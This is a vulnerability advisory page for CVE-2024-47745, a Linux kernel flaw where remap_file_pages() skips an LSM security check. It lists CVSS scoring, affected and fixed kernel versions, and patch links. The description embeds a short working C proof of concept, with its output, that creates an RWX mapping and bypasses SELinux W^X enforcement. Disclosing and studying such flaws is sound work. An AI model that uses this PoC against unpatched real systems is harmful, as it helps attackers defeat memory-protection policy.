mm: call the security_mmap_file() LSM hook in remap_file_pages()

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Summary

CVECVE-2024-47745
StatePUBLISHED
AssignerLinux
Source PriorityCVE Program / NVD first with legacy fallback
Published2024-10-21 13:15:04 UTC
Updated2026-05-12 19:07:20 UTC
DescriptionIn the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Risk And Classification

Primary CVSS: v3.1 7.8 HIGH from [email protected]

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Problem Types: CWE-670

CVSS v3.1 Breakdown

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

NVD Known Affected Configurations (CPE 2.3)

TypeVendorProductVersionUpdateEditionLanguage
Operating System Debian Debian Linux 11.0 All All All
Operating System Linux Linux Kernel All All All All

Vendor Declared Affected Products

SourceVendorProductVersionPlatforms
CNA Linux Linux affected c8d78c1823f46519473949d33f0d1d33fe21ea16 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 git Not specified
CNA Linux Linux affected c8d78c1823f46519473949d33f0d1d33fe21ea16 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 git Not specified
CNA Linux Linux affected c8d78c1823f46519473949d33f0d1d33fe21ea16 3393fddbfa947c8e1fdcc4509226905ffffd8b89 git Not specified
CNA Linux Linux affected c8d78c1823f46519473949d33f0d1d33fe21ea16 ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3 git Not specified
CNA Linux Linux affected c8d78c1823f46519473949d33f0d1d33fe21ea16 ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 git Not specified
CNA Linux Linux affected 097f98edde717ce09f217d8a285fe357dcd29fd1 git Not specified
CNA Linux Linux affected 4.0 Not specified
CNA Linux Linux unaffected 4.0 semver Not specified
CNA Linux Linux unaffected 6.1.120 6.1.* semver Not specified
CNA Linux Linux unaffected 6.6.54 6.6.* semver Not specified
CNA Linux Linux unaffected 6.10.13 6.10.* semver Not specified
CNA Linux Linux unaffected 6.11.2 6.11.* semver Not specified
CNA Linux Linux unaffected 6.12 * original_commit_for_fix Not specified

References

ReferenceSourceLinkTags
git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
lists.debian.org/debian-lts-announce/2025/03/msg00001.html af854a3a-2127-422b-91ae-364da2661108 lists.debian.org Mailing List, Third Party Advisory
git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
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